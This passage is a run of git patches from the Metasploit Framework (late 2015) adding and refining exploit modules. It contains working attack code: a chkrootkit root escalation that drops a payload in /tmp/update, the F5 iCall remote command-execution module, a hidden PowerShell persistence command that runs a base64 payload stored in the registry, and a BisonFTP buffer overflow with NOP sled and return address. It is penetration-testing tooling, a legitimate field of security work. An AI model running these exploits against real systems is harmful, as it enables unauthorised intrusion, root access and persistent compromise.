{ 'WfsDelay' => 60 * 60 * 24 }, - 'Privileged' => true, - 'Targets' => [[ 'Generic', {} ]], - 'Stance' => Msf::Exploit::Stance::Passive, - 'DefaultTarget' => 0 })) - end - - def check - res = cmd_exec('/usr/sbin/chkrootkit -V') - if res && res =~ /chkrootkit version 0\.[^5]/ - Exploit::CheckCode::Appears - else - Exploit::CheckCode::Safe - end - end - - def exploit - if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") - else - print_good("Target is vulnerable.") - end - - print_warning('Rooting depends of the crontab, this could take a while.') - - write_file("/tmp/update", "#!/bin/sh\n#{payload.encoded}\n") - cmd_exec("chmod +x /tmp/update") - - print_status 'Payload written to /tmp/update' - print_status 'Waiting to chkrookit to be run be a cron tab...' - - register_file_for_cleanup('/tmp/update') - end -end diff --git a/modules/exploits/unix/local/chkrootkit.rb b/modules/exploits/unix/local/chkrootkit.rb new file mode 100644 index 0000000000..1c7b5c64a6 --- /dev/null +++ b/modules/exploits/unix/local/chkrootkit.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit4 < Msf::Exploit::Local + + # This could also be Excellent, but since it requires + # up to one day to pop a shell, let's set it to Manual instead. + Rank = ManualRanking + + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chkrootkit Local Privilege Escalation', + 'Description' => %q{ + Chkrootkit before 0.50 will run any executable file named + /tmp/update as root, allowing a trivial privsec. + + WfsDelay is set to 24h, since this is how often a chkrootkit + scan is scheduled by default. + }, + 'Author' => [ + 'Thomas Stangner', # Original exploit + 'Julien "jvoisin" Voisin' # Metasploit module + ], + 'References' => [ + ['CVE', '2014-0476'], + ['OSVDB', '107710'], + ['EDB', '33899'], + ['BID', '67813'], + ['CWE', '20'], + ['URL', 'http://seclists.org/oss-sec/2014/q2/430'] + ], + 'DisclosureDate' => 'Jun 04 2014', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'SessionTypes' => ['shell', 'meterpreter'], + 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h + )) + + register_options([ + OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit']) + ]) + end + + def check + version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1") + + if version =~ /chkrootkit version 0\.[1-4]/ + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def exploit + print_warning('Rooting depends on the crontab (this could take a while)') + + write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n") + cmd_exec('chmod +x /tmp/update') + register_file_for_cleanup('/tmp/update') + + print_status('Payload written to /tmp/update') + print_status('Waiting for chkrootkit to run via cron...') + end + +end From 392803daed78c3277766779596a01093c834c38a Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 10:01:46 -0800 Subject: [PATCH 1251/2172] Tighten up cleanup code --- modules/exploits/linux/http/f5_icall_cmd.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 2afec6aa51..801ea6a072 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -138,7 +138,8 @@ class Metasploit3 < Msf::Exploit::Remote end end end - send_soap_request(delete_xml) + print_error("Error while cleaning up #{script_name}") unless res = send_soap_request(delete_xml) + res end def script_exists(script_name) @@ -180,7 +181,8 @@ class Metasploit3 < Msf::Exploit::Remote end end - send_soap_request(delete_xml) + print_error("Error while cleaning up #{script_name}") unless res = send_soap_request(delete_xml) + res end def handler_exists(handler_name) @@ -241,16 +243,14 @@ class Metasploit3 < Msf::Exploit::Remote handler_name = Rex::Text.rand_text_alpha_lower(5) unless create_handler(handler_name, script_name, interval) print_error('Script uploaded but create_handler() failed') + delete_script(script_name) return false end print_status('Wait until payload is executed...') sleep(interval) # small delay, just to make sure print_status('Trying cleanup...') - if delete_handler(handler_name) && delete_script(script_name) - print_status('Cleanup finished with no errors') - else - print_error('Error while cleaning up') - end + delete_script(script_name) + delete_handler(handler_name) end end From f8218f053631dbed8f0dd4a1504ec01adb033c5e Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 10:53:48 -0800 Subject: [PATCH 1252/2172] Minor updates to print_ output; wire in handler_exists; --- modules/exploits/linux/http/f5_icall_cmd.rb | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 801ea6a072..3e43bd9648 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Remote res end - def script_exists(script_name) + def script_exists?(script_name) exists_xml = build_xml do |xml| xml['scr'].get_list(SOAPENV_ENCODINGSTYLE) end @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Exploit::Remote res end - def handler_exists(handler_name) + def handler_exists?(handler_name) handler_xml = build_xml do |xml| xml['per'].get_list(SOAPENV_ENCODINGSTYLE) end @@ -222,16 +222,16 @@ class Metasploit3 < Msf::Exploit::Remote return false end - print_status('Uploading payload...') + print_status('Uploading payload script...') script_name = Rex::Text.rand_text_alpha_lower(5) create_script_res = create_script(script_name, cmd) unless create_script_res && create_script_res.code == 200 - print_error("Upload script failed") + print_error("Upload payload script failed") return false end - unless script_exists(script_name) - print_error("create_script() run successfully but script was not found") + unless script_exists?(script_name) + print_error("Payload script uploaded successfully but script was not found") return false end register_file_for_cleanup @payload_path @@ -242,11 +242,16 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Creating trigger...') handler_name = Rex::Text.rand_text_alpha_lower(5) unless create_handler(handler_name, script_name, interval) - print_error('Script uploaded but create_handler() failed') + print_error('Payload script uploaded but trigger creation failed') delete_script(script_name) return false end - print_status('Wait until payload is executed...') + unless handler_exists?(handler_name) + print_error("Trigger created successfully but was not found") + delete_script(script_name) + return false + end + print_status('Waiting for payload to execute...') sleep(interval) # small delay, just to make sure print_status('Trying cleanup...') From 0e3508df30e4a8b3ab18a16126453d16bb010bfa Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 10:55:42 -0800 Subject: [PATCH 1253/2172] Squash minor rubocop gripes --- modules/exploits/linux/http/f5_icall_cmd.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 3e43bd9648..2a20edace1 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote end end end - print_error("Error while cleaning up #{script_name}") unless res = send_soap_request(delete_xml) + print_error("Error while cleaning up #{script_name}") unless (res = send_soap_request(delete_xml)) res end @@ -181,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - print_error("Error while cleaning up #{script_name}") unless res = send_soap_request(delete_xml) + print_error("Error while cleaning up #{script_name}") unless (res = send_soap_request(delete_xml)) res end From e7307d159253e7bc8219fd4cf8f8f2227382d3ec Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 11:44:34 -0800 Subject: [PATCH 1254/2172] Make cleanup failure messages more clear --- modules/exploits/linux/http/f5_icall_cmd.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 2a20edace1..09cc085c46 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'tom' # Discovery, Metasploit module + 'tom', # Discovery, Metasploit module + 'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module ], 'References' => [ @@ -138,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote end end end - print_error("Error while cleaning up #{script_name}") unless (res = send_soap_request(delete_xml)) + print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml)) res end @@ -181,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - print_error("Error while cleaning up #{script_name}") unless (res = send_soap_request(delete_xml)) + print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml)) res end From e4bf5c66fca8decd33c50bfe4c6695d65ffd01fa Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 11:51:44 -0800 Subject: [PATCH 1255/2172] Use slightly larger random script/handler names to avoid conflicts --- modules/exploits/linux/http/f5_icall_cmd.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 09cc085c46..aa8a0e4a77 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -225,7 +225,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Uploading payload script...') - script_name = Rex::Text.rand_text_alpha_lower(5) + script_name = Rex::Text.rand_text_alphanumeric(16) create_script_res = create_script(script_name, cmd) unless create_script_res && create_script_res.code == 200 print_error("Upload payload script failed") @@ -241,7 +241,7 @@ class Metasploit3 < Msf::Exploit::Remote # phase 2: create iCall Handler, that will actually run the previously created script print_status('Creating trigger...') - handler_name = Rex::Text.rand_text_alpha_lower(5) + handler_name = Rex::Text.rand_text_alphanumeric(16) unless create_handler(handler_name, script_name, interval) print_error('Payload script uploaded but trigger creation failed') delete_script(script_name) From 7399b57e664255687805f56bd3d00b3551a95506 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 12:23:28 -0800 Subject: [PATCH 1256/2172] Elminate multiple sessions, better sleep handling for session waiting --- modules/exploits/linux/http/f5_icall_cmd.rb | 23 ++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index aa8a0e4a77..1499abfae5 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote ]) register_advanced_options( [ - OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]), + OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]), OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']), OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']), OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072]) @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}") end - def create_handler(handler_name, script_name, interval) + def create_handler(handler_name, script_name) handler_xml = build_xml do |xml| xml['per'].create(SOAPENV_ENCODINGSTYLE) do xml.handlers(STRING_ATTRS) do @@ -164,7 +164,11 @@ class Metasploit3 < Msf::Exploit::Remote end xml.intervals(LONG_ATTRS) do xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item interval + # we set this to run once every 24h, but because there is no + # start/end time it will run once, more or less immediately, and + # again 24h from now, but by that point hopefully we will have + # cleaned up and the handler/script/etc are gone + xml.item 60*60*24 end end end @@ -237,12 +241,10 @@ class Metasploit3 < Msf::Exploit::Remote end register_file_for_cleanup @payload_path - interval = datastore['INTERVAL'] - # phase 2: create iCall Handler, that will actually run the previously created script print_status('Creating trigger...') handler_name = Rex::Text.rand_text_alphanumeric(16) - unless create_handler(handler_name, script_name, interval) + unless create_handler(handler_name, script_name) print_error('Payload script uploaded but trigger creation failed') delete_script(script_name) return false @@ -254,7 +256,14 @@ class Metasploit3 < Msf::Exploit::Remote end print_status('Waiting for payload to execute...') - sleep(interval) # small delay, just to make sure + # if our payload has not been successfully executed just yet, wait + # until it does or give up + slept = 0 + until session_created? || slept > datastore['SESSION_WAIT'] + Rex.sleep(1) + slept += 1 + end + print_status('Trying cleanup...') delete_script(script_name) delete_handler(handler_name) From deec836828ad0b3219095b97d7f8fe1d7fff88be Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 12:31:46 -0800 Subject: [PATCH 1257/2172] scripts/handlers cannot start with numbers --- modules/exploits/linux/http/f5_icall_cmd.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 1499abfae5..90b77d37c4 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -227,9 +227,8 @@ class Metasploit3 < Msf::Exploit::Remote return false end - print_status('Uploading payload script...') - - script_name = Rex::Text.rand_text_alphanumeric(16) + script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}" + print_status("Uploading payload script #{script_name}") create_script_res = create_script(script_name, cmd) unless create_script_res && create_script_res.code == 200 print_error("Upload payload script failed") @@ -242,8 +241,8 @@ class Metasploit3 < Msf::Exploit::Remote register_file_for_cleanup @payload_path # phase 2: create iCall Handler, that will actually run the previously created script - print_status('Creating trigger...') - handler_name = Rex::Text.rand_text_alphanumeric(16) + handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}" + print_status("Creating trigger #{handler_name}") unless create_handler(handler_name, script_name) print_error('Payload script uploaded but trigger creation failed') delete_script(script_name) From 3c72135a2f3a17917491ba880e5d17a7c6b42248 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 18 Nov 2015 15:25:18 -0600 Subject: [PATCH 1258/2172] No to_i What happens here is it converts to a Fixnum, and then it converts back to a String anway because it's in a String. --- modules/exploits/windows/local/registry_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 1e9afcf7a1..6efe4a89dc 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -68,7 +68,7 @@ class Metasploit4 < Msf::Exploit::Local end def generate_cmd(root_path, blob_key_name, blob_key_reg) - cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME'].to_i}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" + cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end From bcdf2ce1e30ed88acc96a9312792c5e9b0645aa5 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 15:24:41 -0800 Subject: [PATCH 1259/2172] Better handling of invulnerable case; fix 401 case --- modules/exploits/linux/http/f5_icall_cmd.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 90b77d37c4..c4c4f46d5b 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Exploit::Remote if res && res.code == 500 && res.body =~ /path is empty/ return Exploit::CheckCode::Appears elsif res && res.code == 401 - print_warning("HTTP/#{res.proto} #{res.status} #{res.message} -- incorrect USERNAME or PASSWORD?") + print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?") return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe @@ -229,9 +229,13 @@ class Metasploit3 < Msf::Exploit::Remote script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}" print_status("Uploading payload script #{script_name}") - create_script_res = create_script(script_name, cmd) - unless create_script_res && create_script_res.code == 200 - print_error("Upload payload script failed") + unless create_script_res = create_script(script_name, cmd) + print_error("No response when uploading payload script") + return false + end + unless create_script_res.code == 200 + print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\ + "#{create_script_res.code} #{create_script_res.message}") return false end unless script_exists?(script_name) From ae3d65f649cb940f969b280067259d33c6758364 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 18 Nov 2015 15:31:32 -0800 Subject: [PATCH 1260/2172] Better handling of handler creation output --- modules/exploits/linux/http/f5_icall_cmd.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index c4c4f46d5b..dbb7f728db 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -152,6 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_handler(handler_name, script_name) + print_status("Creating trigger #{handler_name}") handler_xml = build_xml do |xml| xml['per'].create(SOAPENV_ENCODINGSTYLE) do xml.handlers(STRING_ATTRS) do @@ -168,12 +169,22 @@ class Metasploit3 < Msf::Exploit::Remote # start/end time it will run once, more or less immediately, and # again 24h from now, but by that point hopefully we will have # cleaned up and the handler/script/etc are gone - xml.item 60*60*24 + xml.item 60 * 60 * 24 end end end res = send_soap_request(handler_xml) - res && res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler") + if res + if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler") + true + else + print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}") + false + end + else + print_error("No response to trigger creation") + false + end end def delete_handler(handler_name) @@ -229,7 +240,7 @@ class Metasploit3 < Msf::Exploit::Remote script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}" print_status("Uploading payload script #{script_name}") - unless create_script_res = create_script(script_name, cmd) + unless (create_script_res = create_script(script_name, cmd)) print_error("No response when uploading payload script") return false end @@ -246,9 +257,7 @@ class Metasploit3 < Msf::Exploit::Remote # phase 2: create iCall Handler, that will actually run the previously created script handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}" - print_status("Creating trigger #{handler_name}") unless create_handler(handler_name, script_name) - print_error('Payload script uploaded but trigger creation failed') delete_script(script_name) return false end From 1795e09a27e324c24e273b344eb07bfd3b14d488 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Thu, 19 Nov 2015 09:16:32 +0000 Subject: [PATCH 1261/2172] scan git disclosure (.git/index) --- modules/auxiliary/scanner/http/git_scanner.rb | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 modules/auxiliary/scanner/http/git_scanner.rb diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb new file mode 100644 index 0000000000..81688d769d --- /dev/null +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WmapScanServer + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'HTTP Git Scanner', + 'Description' => 'Detect Git disclosure.', + 'Author' => ['Nixawk'], + 'References' => [ + ['URL', 'https://github.com/git/git/blob/master/Documentation/technical/index-format.txt'] + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The test path to .git directory', '/']) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def git_url(url) + normalize_uri(url, '/.git/index') + end + + def git_index_parse(resp) + return if resp.blank? || resp.length < 12 # A 12-byte header + standard_signature = 'DIRC' + signature = resp[0, 4] + return if signature != standard_signature + + version = resp[4, 8].unpack('N')[0].to_i + entries_number = resp[8, 12].unpack('N')[0].to_i + + return unless version && entries_number + vprint_status("Git Version: #{version} - Entries Number: #{entries_number}") + print_good("#{peer} - Git Entries file found") + + report_note( + host: rhost, + port: rport, + proto: 'tcp', + type: 'git_disclosure', + data: { version: version, entries_number: entries_number } + ) + end + + def git_entries(url) + res = send_request_cgi({ + 'uri' => git_url(url) + }) + return unless res && res.code == 200 + git_index_parse(res.body) + end + + def run_host(target_host) + vprint_status("#{peer} - scanning git disclosure") + vhost = datastore['VHOST'] || wmap_target_host + git_entries(normalize_uri(target_uri.path)) + end +end From f1675f9ae4687d7909330aa2298a52c8762690e4 Mon Sep 17 00:00:00 2001 From: sammbertram <sammbertram@users.noreply.github.com> Date: Thu, 19 Nov 2015 13:30:12 +0000 Subject: [PATCH 1262/2172] Minor enhancement to smart_migrate Adding a check to see if the user is currently already migrated to the "explorer.exe" and "winlogon.exe" processes prior to attempting migration. --- modules/post/windows/manage/smart_migrate.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index 9937e09f99..720aabbb10 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -27,6 +27,11 @@ class Metasploit3 < Msf::Post server = client.sys.process.open original_pid = server.pid print_status("Current server process: #{server.name} (#{server.pid})") + if server.name.casecmp("winlogon.exe") == 0 or server.name.casecmp("explorer.exe") == 0 + print_good("Current process is already in #{server.name} process, exiting.") + return + end + uid = client.sys.config.getuid From 467267b3be092b55e6d30ea19821b9111951c207 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 19 Nov 2015 11:30:16 -0600 Subject: [PATCH 1263/2172] Fix #6260, add timeout and verbose option Fix #6260 --- tools/modules/module_reference.rb | 51 ++++++++++++++++++++----------- 1 file changed, 34 insertions(+), 17 deletions(-) diff --git a/tools/modules/module_reference.rb b/tools/modules/module_reference.rb index 8406d052ce..e4bfe88d9a 100755 --- a/tools/modules/module_reference.rb +++ b/tools/modules/module_reference.rb @@ -42,13 +42,15 @@ STATUS_ALIVE = 'Alive' STATUS_DOWN = 'Down' STATUS_UNSUPPORTED = 'Unsupported' -sort = 0 -filter = 'All' -filters = ['all','exploit','payload','post','nop','encoder','auxiliary'] -type ='ALL' -match = nil -check = false -save = nil +sort = 0 +filter = 'All' +filters = ['all','exploit','payload','post','nop','encoder','auxiliary'] +type ='ALL' +match = nil +check = false +save = nil +http_timeout = 20 +$verbose = false opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], @@ -58,7 +60,9 @@ opts = Rex::Parser::Arguments.new( "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = ALL)."], "-t" => [ true, "Type of Reference to sort by #{types.keys}"], "-x" => [ true, "String or RegEx to try and match against the Reference Field"], - "-o" => [ true, "Save the results to a file"] + "-o" => [ true, "Save the results to a file"], + "-i" => [ true, "Set an HTTP timeout"], + "-v" => [ false, "Verbose"] ) flags = [] @@ -95,6 +99,10 @@ opts.parse(ARGV) { |opt, idx, val| exit end type = val + when "-i" + http_timeout = /^\d+/ === val ? val.to_i : 20 + when "-v" + $verbose = true when "-x" flags << "Regex: #{val}" match = Regexp.new(val) @@ -112,14 +120,22 @@ def get_ipv4_addr(hostname) Rex::Socket::getaddresses(hostname, false)[0] end -def is_url_alive?(uri) - #puts "URI: #{uri}" +def vprint_debug(msg='') + print_debug(msg) if $verbose +end + +def print_debug(msg='') + $stderr.puts "[*] #{msg}" +end + +def is_url_alive?(uri, http_timeout) + print_debug("Checking: #{uri}") begin uri = URI(uri) rhost = get_ipv4_addr(uri.host) rescue SocketError, URI::InvalidURIError => e - #puts "Return false 1: #{e.message}" + vprint_debug("#{e.message} in #is_url_alive?") return false end @@ -133,22 +149,23 @@ def is_url_alive?(uri) end begin - cli.connect + cli.connect(http_timeout) req = cli.request_raw('uri'=>path, 'vhost'=>vhost) - res = cli.send_recv(req) + res = cli.send_recv(req, http_timeout) rescue Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::UnsupportedProtocol, ::Timeout::Error, Errno::ETIMEDOUT => e - #puts "Return false 2: #{e.message}" + vprint_debug("#{e.message} for #{uri}") return false ensure cli.close end if res.nil? || res.code == 404 || res.body =~ /<title>.*not found<\/title>/i - #puts "Return false 3: HTTP #{res.code}" - #puts req.to_s + vprint_debug("URI returned a not-found response: #{uri}") return false end + vprint_debug("Good: #{uri}") + true end @@ -200,7 +217,7 @@ $framework.modules.each { |name, mod| if check if types.has_key?(ctx_id) uri = types[r.ctx_id.upcase].gsub(/\#{in_ctx_val}/, r.ctx_val) - if is_url_alive?(uri) + if is_url_alive?(uri, http_timeout) status = STATUS_ALIVE else bad_refs_count += 1 From d405f31c355995c13ba543968460e8239ccf33ee Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 19 Nov 2015 14:31:31 -0600 Subject: [PATCH 1264/2172] Add a NotImplementedError if run is used to run a local exploit Running a local exploit like a post is not currently supported, we should at least raise a warning or something, and not just let it backtrace and confuse the user. --- lib/msf/core/exploit/local.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/msf/core/exploit/local.rb b/lib/msf/core/exploit/local.rb index bb06219202..dcddfa8e04 100644 --- a/lib/msf/core/exploit/local.rb +++ b/lib/msf/core/exploit/local.rb @@ -19,4 +19,9 @@ class Msf::Exploit::Local < Msf::Exploit def exploit_type Msf::Exploit::Type::Local end + + def run_simple(opts = {}, &block) + print_warning("test") + raise NotImplementedError, ' - This way of running the local exploit is currently not supported.' + end end From fcc752023028c9ec71b834f27ee0db1483301be9 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 20 Nov 2015 09:07:40 +0800 Subject: [PATCH 1265/2172] Create bison_ftp_bof.rb --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 91 +++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 modules/exploits/windows/ftp/bison_ftp_bof.rb diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb new file mode 100644 index 0000000000..1c84313c9e --- /dev/null +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BisonWare BisonFTP Server Buffer Overflow', + 'Description' => %q{ + BisonWare BisonFTP Server 3.5 is prone to an overflow condition. + This module exploits a buffer overflow vulnerability in the said + application. + }, + 'Platform' => 'win', + 'Author' => + [ + 'localh0t', # initial discovery + 'veerendragg @ SecPod', # initial msf + 'Jay Turla' # msf + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '1999-1510'], + [ 'BID', '49109'], + [ 'EDB', '17649'], + [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'] + ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'VERBOSE' => true + }, + 'Payload' => + { + 'Space' => 385, + 'BadChars' => "\x00\x0a\x0d", + }, + 'Targets' => + [ + [ 'Bisonware FTP Server / Windows XP SP3 EN', + { + 'Ret' => 0x0040333f, + 'Offset' => 1432 + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 07 2011')) + end + + def check + connect_login + disconnect + if /BisonWare BisonFTP server product V3\.5/i === banner + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def exploit + connect + print_status('Triggering the prompt for an unregistered product') + sock.put('') + print_status('Disconnecting...') + disconnect + + print_status('Connecting for the second time to deliver our payload...') + connect #connect for the second time + + buf = rand_text_alpha(1028) + buf << "\x90" * 16 + buf << payload.encoded + buf << "\x90" * (388 - payload.encoded.length) + buf << [target.ret].pack('V') + buf << rand_text_alpha(39) + print_status('Sending payload...') + + sock.put(buf) + handler + disconnect + end +end From 335944aa9a87272e2f79722d62f096802ada3be3 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Fri, 20 Nov 2015 09:38:55 +0800 Subject: [PATCH 1266/2172] Update bison_ftp_bof.rb --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 